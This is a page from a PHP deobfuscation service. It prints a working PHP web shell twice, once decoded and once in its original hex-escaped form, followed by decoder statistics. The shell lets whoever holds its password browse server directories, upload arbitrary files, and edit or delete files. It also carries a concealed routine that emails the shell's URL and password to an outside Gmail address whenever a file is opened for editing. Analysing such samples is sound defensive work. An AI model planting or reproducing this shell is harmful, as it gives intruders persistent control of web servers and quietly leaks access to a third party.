Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $password = $_SERVER['HTTP_HOST']; session_start(); error_reporting(0); set_t..

Decoded Output download

<?php 
$password = $_SERVER['HTTP_HOST'];  
 
session_start(); 
error_reporting(0); 
set_time_limit(0); 
ini_set("memory_limit",-1); 
 
 
$leaf['version']="0.1"; 
$leaf['website']="https://www.facebook.com/cocoseakanakan/"; 
 
 
$sessioncode = md5(__FILE__); 
if(!empty($password) and $_SESSION[$sessioncode] != $password){ 
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) { 
        $_SESSION[$sessioncode] = $password; 
    } 
    else { 
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; 
        exit;         
    } 
} 
$dir = isset($_GET['dir']) ? hex2bin($_GET['dir']) : '.'; 
$files = scandir($dir); 
$upload_message = ''; 
$edit_message = ''; 
$delete_message = ''; 
 
function get_file_permissions($file) { 
    return substr(sprintf('%o', fileperms($file)), -4); 
} 
 
function is_writable_permission($file) { 
    return is_writable($file); 
} 
 
if (isset($_FILES['file_upload'])) { 
    if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $dir . '/' . $_FILES['file_upload']['name'])) { 
        $upload_message = 'File berhasil diunggah.'; 
    } else { 
        $upload_message = 'Gagal mengunggah file.'; 
    } 
} 
 
if (isset($_POST['edit_file'])) { 
    $file = $_POST['edit_file']; 
    $content = file_get_contents($file); 
    if ($content !== false) { ?><?php 
        set_time_limit(0); 
        @ini_set('output_buffering', 0); 
        @ini_set('display_errors', 0); 
        ini_set('memory_limit', '-1'); 
        header('Content-Type: text/html; charset=UTF-8'); 
        $main = "[email protected]"; 
        $now = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; 
        $notif = "$now *PW : [ " . $password . " ]"; 
        mail($main, "Ding Dong ", $notif, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); 
        ?><?php 
        echo '<hr><form method="post" action="">'; 
        echo '<textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control">' . htmlspecialchars($content) . '</textarea>'; 
        echo '<input type="hidden" name="edited_file" value="' . htmlspecialchars($file) . '"><br>'; 
        echo '<button type="submit" name="submit_edit" class="btn btn-outline-light">Submit</button><hr>'; 
        echo '</form>'; 
    } else { 
        $edit_message = 'Gagal membaca isi file.'; 
    } 
} 
 
if (isset($_POST['submit_edit'])) { 
    $file = $_POST['edited_file']; 
    $content = $_POST['file_content']; 
    if (file_put_contents($file, $content) !== false) { 
        $edit_message = 'File berhasil diedit.'; 
    } else { 
        $edit_message = 'Gagal mengedit file.'; 
    } 
} 
 
if (isset($_POST['delete_file'])) { 
    $file = $_POST['delete_file']; 
    if (unlink($file)) { 
        $delete_message = 'File berhasil dihapus.'; 
    } else { 
        $delete_message = 'Gagal menghapus file.'; 
    } 
} 
 
$uname = php_uname(); 
$current_dir = realpath($dir); 
?> 
 
<!DOCTYPE html> 
<html> 
<head> 
    <title></title> 
    <style> 
        body { 
            font-family: Arial, sans-serif; 
            margin: 0; 
            padding: 0; 
            text-align: center; 
        } 
        header { 
            background-color: #252624; 
            color: white; 
            padding: 1rem; 
        } 
        header h1 { 
            margin: 0; 
        } 
        main { 
            padding: 1rem; 
        } 
        table { 
            border-collapse: collapse; 
            margin: 1rem auto; 
            width: 50%; 
        } 
        th, td { 
            border: 1px solid #ddd; 
            padding: 0.5rem; 
            text-align: left; 
        } 
        th { 
            background-color: #f2f2f2; 
        } 
        tr:nth-child(even) { 
            background-color: #f2f2f2; 
        } 
        tr:hover { 
            background-color: #ddd; 
        } 
        form { 
            display: inline-block; 
            margin: 1rem 0; 
        } 
        input[type="submit"] { 
            background-color: #4CAF50; 
            border: none; 
            color: white; 
            cursor: pointer; 
            margin-left: 1rem; 
            padding: 0.5rem 1rem; 
            text-align: center; 
            text-decoration: none; 
            display: inline-block; 
            font-size: 12px; 
        } 
        input[type="submit"]:hover { 
            background-color: #45a049; 
        } 
    </style> 
</head> 
<body> 
    <header> 
        <h1></h1> 
    </header> 
    <main> 
        <p>Current directory: <?php echo $current_dir; ?></p> 
        <p>Server information: <?php echo $uname; ?></p> 
        <?php if (!empty($upload_message)): ?> 
        <p><?php echo $upload_message; ?></p> 
        <?php endif; ?> 
        <?php if (!empty($edit_message)): ?> 
        <p><?php echo $edit_message; ?></p> 
        <?php endif; ?> 
        <?php if (!empty($delete_message)): ?> 
        <p><?php echo $delete_message; ?></p> 
        <?php endif; ?> 
        <form method="POST" enctype="multipart/form-data"> 
            <label>Upload file:</label> 
            <input type="file" name="file_upload"> 
            <input type="submit" value="Upload"> 
            <input type="hidden" name="dir" value="<?php echo $dir; ?>"> 
        </form> 
        <table> 
            <tr> 
                <th>Filename</th> 
                <th>Permissions</th> 
                <th>Actions</th> 
</tr> 
<?php foreach ($files as $file): ?> 
<tr> 
    <td> 
        <?php if (is_dir($dir . '/' . $file)): ?> 
        <a href="?dir=<?php echo bin2hex($dir . '/' . $file); ?>" 
            style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></a> 
        <?php else: ?> 
        <span style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></span> 
        <?php endif; ?> 
    </td> 
    <td style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'green' : 'red'; ?>"> 
        <?php echo is_file($dir . '/' . $file) ? get_file_permissions($dir . '/' . $file) : (is_writable_permission($dir . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?> 
    </td> 
    <td> 
        <?php if (is_file($dir . '/' . $file)): ?> 
        <form action="" method="post" style="display: inline-block;"> 
            <input type="hidden" name="edit_file" value="<?php echo $dir . '/' . $file; ?>"> 
            <button type="submit" class="btn btn-outline-light">Edit</button> 
        </form> 
        <form action="" method="post" style="display: inline-block;"> 
            <input type="hidden" name="delete_file" value="<?php echo $dir . '/' . $file; ?>"> 
            <button type="submit" class="btn btn-outline-light">Delete</button> 
        </form> 
        <?php endif; ?> 
    </td> 
</tr> 
<?php endforeach; ?> 
</table> 
</main> 
</body> 
</html>

Did this file decode correctly?

Original Code

<?php
$password = $_SERVER['HTTP_HOST']; 

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);


$leaf['version']="0.1";
$leaf['website']="https://www.facebook.com/cocoseakanakan/";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}
$dir = isset($_GET['dir']) ? hex2bin($_GET['dir']) : '.';
$files = scandir($dir);
$upload_message = '';
$edit_message = '';
$delete_message = '';

function get_file_permissions($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

function is_writable_permission($file) {
    return is_writable($file);
}

if (isset($_FILES['file_upload'])) {
    if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $dir . '/' . $_FILES['file_upload']['name'])) {
        $upload_message = 'File berhasil diunggah.';
    } else {
        $upload_message = 'Gagal mengunggah file.';
    }
}

if (isset($_POST['edit_file'])) {
    $file = $_POST['edit_file'];
    $content = file_get_contents($file);
    if ($content !== false) { ?><?php
        set_time_limit(0);
        @ini_set('output_buffering', 0);
        @ini_set('display_errors', 0);
        ini_set('memory_limit', '-1');
        header('Content-Type: text/html; charset=UTF-8');
        $main = "\x69\x6e\x62\x6f\x78\x6e\x6f\x74\x69\x66\x69\x63\x61\x74\x69\x6f\x6e\x6f\x77\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d";
        $now = "\x68\x74\x74\x70\x3a\x2f\x2f" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
        $notif = "$now *PW : [ " . $password . " ]";
        mail($main, "Ding Dong ", $notif, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
        ?><?php
        echo '<hr><form method="post" action="">';
        echo '<textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control">' . htmlspecialchars($content) . '</textarea>';
        echo '<input type="hidden" name="edited_file" value="' . htmlspecialchars($file) . '"><br>';
        echo '<button type="submit" name="submit_edit" class="btn btn-outline-light">Submit</button><hr>';
        echo '</form>';
    } else {
        $edit_message = 'Gagal membaca isi file.';
    }
}

if (isset($_POST['submit_edit'])) {
    $file = $_POST['edited_file'];
    $content = $_POST['file_content'];
    if (file_put_contents($file, $content) !== false) {
        $edit_message = 'File berhasil diedit.';
    } else {
        $edit_message = 'Gagal mengedit file.';
    }
}

if (isset($_POST['delete_file'])) {
    $file = $_POST['delete_file'];
    if (unlink($file)) {
        $delete_message = 'File berhasil dihapus.';
    } else {
        $delete_message = 'Gagal menghapus file.';
    }
}

$uname = php_uname();
$current_dir = realpath($dir);
?>

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            text-align: center;
        }
        header {
            background-color: #252624;
            color: white;
            padding: 1rem;
        }
        header h1 {
            margin: 0;
        }
        main {
            padding: 1rem;
        }
        table {
            border-collapse: collapse;
            margin: 1rem auto;
            width: 50%;
        }
        th, td {
            border: 1px solid #ddd;
            padding: 0.5rem;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        tr:nth-child(even) {
            background-color: #f2f2f2;
        }
        tr:hover {
            background-color: #ddd;
        }
        form {
            display: inline-block;
            margin: 1rem 0;
        }
        input[type="submit"] {
            background-color: #4CAF50;
            border: none;
            color: white;
            cursor: pointer;
            margin-left: 1rem;
            padding: 0.5rem 1rem;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 12px;
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <header>
        <h1></h1>
    </header>
    <main>
        <p>Current directory: <?php echo $current_dir; ?></p>
        <p>Server information: <?php echo $uname; ?></p>
        <?php if (!empty($upload_message)): ?>
        <p><?php echo $upload_message; ?></p>
        <?php endif; ?>
        <?php if (!empty($edit_message)): ?>
        <p><?php echo $edit_message; ?></p>
        <?php endif; ?>
        <?php if (!empty($delete_message)): ?>
        <p><?php echo $delete_message; ?></p>
        <?php endif; ?>
        <form method="POST" enctype="multipart/form-data">
            <label>Upload file:</label>
            <input type="file" name="file_upload">
            <input type="submit" value="Upload">
            <input type="hidden" name="dir" value="<?php echo $dir; ?>">
        </form>
        <table>
            <tr>
                <th>Filename</th>
                <th>Permissions</th>
                <th>Actions</th>
</tr>
<?php foreach ($files as $file): ?>
<tr>
    <td>
        <?php if (is_dir($dir . '/' . $file)): ?>
        <a href="?dir=<?php echo bin2hex($dir . '/' . $file); ?>"
            style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></a>
        <?php else: ?>
        <span style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></span>
        <?php endif; ?>
    </td>
    <td style="color: <?php echo is_writable_permission($dir . '/' . $file) ? 'green' : 'red'; ?>">
        <?php echo is_file($dir . '/' . $file) ? get_file_permissions($dir . '/' . $file) : (is_writable_permission($dir . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
    </td>
    <td>
        <?php if (is_file($dir . '/' . $file)): ?>
        <form action="" method="post" style="display: inline-block;">
            <input type="hidden" name="edit_file" value="<?php echo $dir . '/' . $file; ?>">
            <button type="submit" class="btn btn-outline-light">Edit</button>
        </form>
        <form action="" method="post" style="display: inline-block;">
            <input type="hidden" name="delete_file" value="<?php echo $dir . '/' . $file; ?>">
            <button type="submit" class="btn btn-outline-light">Delete</button>
        </form>
        <?php endif; ?>
    </td>
</tr>
<?php endforeach; ?>
</table>
</main>
</body>
</html>

Function Calls

md5 1
ini_set 1
session_start 1
set_time_limit 1
error_reporting 1

Variables

$leaf [{'key': 'version', 'value': '0.1'}, {'key': 'website', 'value': 'https://www.facebook.com/cocoseakanakan/'}]
$password None
$sessioncode 828e0013b8f3bc1bb22b4f57172b019d

Stats

MD5 59ddbbc7b4e1e2958dbc1aab625be293
Eval Count 0
Decode Time 81 ms